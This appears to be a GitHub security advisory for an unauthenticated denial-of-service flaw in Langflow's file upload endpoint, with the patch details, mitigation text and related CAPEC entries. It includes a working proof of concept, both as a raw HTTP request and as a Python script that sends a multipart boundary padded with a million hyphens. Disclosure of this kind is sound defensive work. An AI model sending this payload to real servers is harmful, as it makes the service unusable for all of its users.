GHSA-QWQC-P3Q8-WCG9
Vulnerability from github – Published: 2026-06-19 21:17 – Updated: 2026-06-19 21:17Summary
An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain
DoS in progress!
------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>
Here is the request in python:
import requests
url = "http://127.0.0.1:7860/api/v1/files/upload/test"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data = (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"DoS in progress\r\n"
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)
The app will then be stuck in the "server is busy" state for all users:
Impact
Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.
Patches
Fixed in 1.0.19 via PR #3923. A check_boundary HTTP middleware was added that validates the multipart boundary (^[\w\-]{1,70}$) and rejects malformed requests — including the oversized-hyphen payload — with HTTP 422 before the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (get_current_active_user + 403 on mismatch), closing the unauthenticated access vector. Upgrade to 1.0.19 or later.

Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.
